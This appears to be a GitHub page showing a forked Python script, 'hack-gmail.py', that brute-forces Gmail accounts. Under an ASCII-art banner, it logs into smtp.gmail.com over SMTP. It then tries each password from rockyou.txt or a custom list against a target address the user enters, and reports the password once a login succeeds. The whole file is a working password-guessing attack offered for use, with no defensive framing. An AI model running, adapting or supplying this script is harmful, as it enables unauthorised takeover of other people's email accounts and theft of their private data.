forked from ebadfd/hack-gmail
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hack-gmail.py
63 lines (49 loc) · 2.02 KB
/
hack-gmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import smtplib
import sys
from os import system
def artwork():
print("\n")
print("##########################################################")
print("# #")
print("# \||/ #")
print("# | @___oo #")
print("# /\ /\ / (__,,,,| #")
print("# ) /^\) ^\/ _) Gmail-hack! #")
print("# ) /^\/ _) CoDeD By: #")
print("# ) _ / / _) d4az #")
print("# /\ )/\/ || | )_) #")
print("# < > |(,,) )__) #")
print("# || / \)___)\ #")
print("# | \____( )___) )___ #")
print("# \______(_______;;; __;;; #")
print("# #")
print("##########################################################")
print("\n")
artwork()
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter The Target Gmail Adress => ")
print("\n")
pwd = input("Enter '0' to use the inbuilt passwords list \nEnter '2' to Add a custom password list\n => ")
if pwd=='0':
passswfile="rockyou.txt"
elif pwd=='2':
print("\n")
passswfile = input("Name The File Path (For Password List) => ")
else:
print("\n")
print("Invalid input!")
sys.exit(1)
try:
passswfile = open(passswfile, "r")
except Exception as e:
print(e)
sys.exit(1)
for password in passswfile:
try:
smtpserver.login(user, password)
print("[+] Password Found %s" % password)
break
except smtplib.SMTPAuthenticationError:
print("[!] Pasword Is Wrong. %s " % password)